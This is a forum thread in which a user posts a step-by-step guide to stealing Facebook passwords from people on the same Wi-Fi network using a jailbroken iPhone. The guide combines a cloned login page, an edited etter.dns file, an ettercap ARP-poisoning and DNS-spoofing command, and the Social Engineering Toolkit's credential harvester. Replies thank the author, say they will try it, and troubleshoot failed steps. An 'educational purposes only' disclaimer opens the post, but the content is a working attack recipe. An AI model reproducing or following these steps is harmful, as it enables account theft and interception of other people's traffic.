Author Topic: How to steal Facebook passwords  (Read 6223 times)

OneHappyTaco

  • Sr. Member
  • ****
  • Posts: 404
  • Reputation: 11
  • Who Dares Wins
  • Computers: Mac
  • iDevices: Iphone 4s
How to steal Facebook passwords
« on: October 28, 2012, 09:23:15 am »
This is for educational purposes only, I am only informing you how to avoid getting your passwords stolen. I am not responsible for anything you do.
I am going to show you how to steal Facebook passwords without any social engineering. This method is easier than most, and is one of the best way to steal SSL encrypted passwords!
You will need:
Ifile (sinfuliphonerepo.com)
Mobile Terminal (default cydia source) also have all the cmds added! (That means to type in "cmds" in search bar in cydia and download everything that pops up)
Ettercap no GTK (ininjas.com/repo)
Social Enigneering Toolkit (ininjas.com/repo)
Once you have all those things, you can begin!
First off go into your settings app and click "wifi"
Then click the blue arrow next to your wifi provider and write down the number next to "ip address"
Note: it should look something like this 192.168.x.x (the x.x's being some random number
open mobile terminal and type in:
su
alpine (defualt password)
Then type in:
cd /
Then type in
Wget www.facebook.com
This downloads the facebook login page
And wait for it to finish. Once finished exit out of mobile terminal and open ifile. When you first open it up, back out of the folders until you can't back up anymore. Then scroll down to the bottom and look for a file called "index.html"
Note: sometimes it is not called index.html so you might have to look at all the files located in cd / for the right one
Copy index.html and move it into /var/www
Note:you might have to make a "www" folder
Next click on the blue arrow located next to index.html. The click the button "open with" and select text viewer from the list. Now once the file opens click the search button and type in "action" and hit return. It should bring you to a line that says
action="https://www.facebook.com/login.php?login_attempt=1
You are going to edit this line to:
action="https://192.168.x.x/login.php?login_attempt=1"
Replacing the xx's with the end numbers of the ip address you wrote down.
Next save the file and now locate to: /usr/local/share/ettercap
Once there look for the file "etter.dns" and open it up in text viewer.
Next click the search button and type in "microsoft sucks" and click enter. You should see a couple lines of text saying something similar to this
"*.microsoft.com.                  A        (a whole bunch a numbers)
And then two more lines that have the word microsoft.
(sorry I already changed mine so I don't know exactly what the lines of text say so you'll have to make sense of things"
Delete the two lines of text below the line
*.microsoft.com                      A                   (a whole bunch a numbers)
Once those lines of numbers are deleted change the first line to
*.facebook.com                         A                     192.168.x.x
Replacing the xx's with the last two numbers of the up address you wrote down. Your done with the hard part!!!!!!!!!!
Now open up mobile terminal and type in the following
su
alpine
Then type in this exactly how you see it
ettercap -T -q -P dns_spoof -M arp // //
This redirects your victim from Facebook.com to your fake page that we will make In a moment!
In other words, whenever anyone types in Facebook.com into their address bar they go to a fake Facebook.com
Make sure you don't touch the page with the live stream from ettercap! You'll have to change pages of terminal by clicking the little two circles at the bottom of the screen of terminal. Now while that starts go into your second page of mobile terminal and type in this exactly how you see it
sysctl -w net.inet.ip.forwarding=1
This enables ip forwarding
Then after you type that in type in
cd /var/root/pentest/exploits/set
This goes to the social engineering toolkit directory!
Then type in:
./set
This runs set
Once loaded type in this
1
Then type in:
2
Then type in:
3
This loads the credential harvester from set
Then type in:
3
This loads the custom import option
It will ask you for your interface ip address... Type in 192.168.x.x replacing the xx's with the last two numbers you wrote down on the piece of paper
Next it asks for the location of the fake Facebook!
Type in:
/var/www/index.html
Then it asks for the actual website your trying to steal passwords from
Type in:
www.facebook.com
Then it should say something like "the best way to use this is by..."
Ignore it and press enter!
Now go on to your computer to test it! In the address bar type in "Facebook.com" and type in your fake user and pass and then go check your iPod to see if you got the user and pass! To do so, you must check the page that was using set! I should say, we got a hit, and the user and pass will be listed. If you can't scroll up to the part where it tells you the user and pass just press ^C to write a report located in /var/root/pentest/exploits/set/reports

I just wanted to say a quick thanks to APetrick for helping me with my noobish questions and A12danrulz for also helping me with noobish questions even though I have been a jerk.
I put a lot of work into this tutorial and I hope it shows!
P.s. what's green, white and red all over?
« Last Edit: October 28, 2012, 03:56:17 pm by OneHappyTaco »

Apetrick

  • Global Moderator
  • Hero Member
  • *****
  • Posts: 3510
  • Reputation: 91
  • <Apetrick> lank is 1337
  • Badges:
  • iDevices: Ipod Touch 4g
Re: How to steal Facebook passwords
« Reply #1 on: October 28, 2012, 11:43:39 am »
Good tutorial, I'll try this out later. BTW if you don't have the /var/www folder than you need to install lighttp from cydia ;)
<%a12danrulz> Idk, but doing a DoS from an apple device is like fighting a bear with a plastic spork

Markanees

  • Full Member
  • ***
  • Posts: 223
  • Reputation: 15
  • +1 would be appreciated
  • Computers: Dell inspiron 1520
  • iDevices: ipad 2 ios 5.1.1
Re: How to steal Facebook passwords
« Reply #2 on: October 28, 2012, 12:22:22 pm »
good tut , i will try it :) +1

OneHappyTaco

  • Sr. Member
  • ****
  • Posts: 404
  • Reputation: 11
  • Who Dares Wins
  • Computers: Mac
  • iDevices: Iphone 4s
Re: How to steal Facebook passwords
« Reply #3 on: October 28, 2012, 03:42:36 pm »
Yeah I just tested it again, and I am very happy to say it works!!!!!!!!!!!! I don't know what it is... But this code doesn't work
ettercap -Tq -M arp // -P dns_spoof doesn't work but
Ettercap -T -q -P dns_spoof -M arp // // does!

OneHappyTaco

  • Sr. Member
  • ****
  • Posts: 404
  • Reputation: 11
  • Who Dares Wins
  • Computers: Mac
  • iDevices: Iphone 4s
Re: How to steal Facebook passwords
« Reply #4 on: October 28, 2012, 06:11:11 pm »
I was at -39.. But now I am at -40 :(

Don't like seeing ads? Click here to register!

Markanees

  • Full Member
  • ***
  • Posts: 223
  • Reputation: 15
  • +1 would be appreciated
  • Computers: Dell inspiron 1520
  • iDevices: ipad 2 ios 5.1.1
Re: How to steal Facebook passwords
« Reply #5 on: October 30, 2012, 10:32:04 am »
i couldn't make it work i am stuck at etter.dns step
can you make it more simple
i have
1    microsoft.com      A   198.182.196.56
2.   *.microsoft.com    A   198.182.196.56
3     www.microsoft.com  PTR 198.182.196.56      # Wildcards in PTR are not allowed
that what i have which line to delet

OneHappyTaco

  • Sr. Member
  • ****
  • Posts: 404
  • Reputation: 11
  • Who Dares Wins
  • Computers: Mac
  • iDevices: Iphone 4s
Re: How to steal Facebook passwords
« Reply #6 on: October 31, 2012, 03:16:02 pm »
this is kind of confusing but... delelte line 3. then after you have deleted line three edit line 2 to:
*.facebook.com               A              192.168.x.x
and make the "A" line up with the "A" above it. then delete line 1.

Markanees

  • Full Member
  • ***
  • Posts: 223
  • Reputation: 15
  • +1 would be appreciated
  • Computers: Dell inspiron 1520
  • iDevices: ipad 2 ios 5.1.1
Re: How to steal Facebook passwords
« Reply #7 on: October 31, 2012, 06:06:06 pm »
i didnt understand the last line
:D

OneHappyTaco

  • Sr. Member
  • ****
  • Posts: 404
  • Reputation: 11
  • Who Dares Wins
  • Computers: Mac
  • iDevices: Iphone 4s
Re: How to steal Facebook passwords
« Reply #8 on: October 31, 2012, 06:12:17 pm »
make the "A" in the middle of "facebook" and 192.168.x.x line up with the "A" above it

LankAsif

  • Global Moderator
  • Hero Member
  • *****
  • Posts: 2390
  • Reputation: 90
  • Forum pride 8)
  • Badges:
  • Computers: i7 with bits and pieces
  • iDevices: iPod Touch 1G (Basically storage for iNinja tools), iPhone 5
Re: How to steal Facebook passwords
« Reply #9 on: November 01, 2012, 12:56:19 am »
OneHappyTaco I believe the "Ettercap -T -q -P dns_spoof -M arp // //" you posted is the same as the "ettercap -T -q -P dns_spoof -M arp // //" in your OP (other than case of "e" in "ettercap" and space between -T and q (with added "-" before q).
when ya say "ettercap -Tq -M arp // -P dns_spoof doesn't work" was "-Tq" a typo or what you typed in the test? Using ettercap i found (in the past) that the command with a lowercase "e" worked. so could you confirm if the "-Tq" was a typo or that it is what you used in the test? thanks man

sorry this post is so confusing

Education is never achieved by wise men. it is only believed to have been achieved by fools

Don't like seeing ads? Click here to register!

OneHappyTaco

  • Sr. Member
  • ****
  • Posts: 404
  • Reputation: 11
  • Who Dares Wins
  • Computers: Mac
  • iDevices: Iphone 4s
Re: How to steal Facebook passwords
« Reply #10 on: November 01, 2012, 06:03:15 am »
the -Tq means text that is quiet in the help menu of ettercap

LankAsif

  • Global Moderator
  • Hero Member
  • *****
  • Posts: 2390
  • Reputation: 90
  • Forum pride 8)
  • Badges:
  • Computers: i7 with bits and pieces
  • iDevices: iPod Touch 1G (Basically storage for iNinja tools), iPhone 5
Re: How to steal Facebook passwords
« Reply #11 on: November 01, 2012, 06:09:30 am »
kk, but OP says -T -q not -Tq, so wondering why ya saying "-Tq" doesn't work when OP never mentioned it. I was just wondering. thanks man

Education is never achieved by wise men. it is only believed to have been achieved by fools

darrenliew96

  • Full Member
  • ***
  • Posts: 132
  • Reputation: 3
Re: How to steal Facebook passwords
« Reply #12 on: November 22, 2012, 11:53:20 am »
Can this work on the mobile version of facebook?
And it downloaded unsopportedbrowser file.
« Last Edit: November 23, 2012, 07:23:31 am by darrenliew96 »

darrenliew96

  • Full Member
  • ***
  • Posts: 132
  • Reputation: 3
Re: How to steal Facebook passwords
« Reply #13 on: November 23, 2012, 08:46:29 am »
Darren-Liews-iPhone:~ root# ettercap -Tq -M arp // -P dns_spoof
dyld: Library not loaded: /usr/local/lib/libltdl.7.dylib
  Referenced from: /usr/local/bin/ettercap
  Reason: image not found
Trace/BPT trap: 5
Darren-Liews-iPhone:~ root#

help please?

OneHappyTaco

  • Sr. Member
  • ****
  • Posts: 404
  • Reputation: 11
  • Who Dares Wins
  • Computers: Mac
  • iDevices: Iphone 4s
Re: How to steal Facebook passwords
« Reply #14 on: November 23, 2012, 06:48:12 pm »
Very good question. Try it on the mobile version to see. Also to fix the error get libnet from the repo.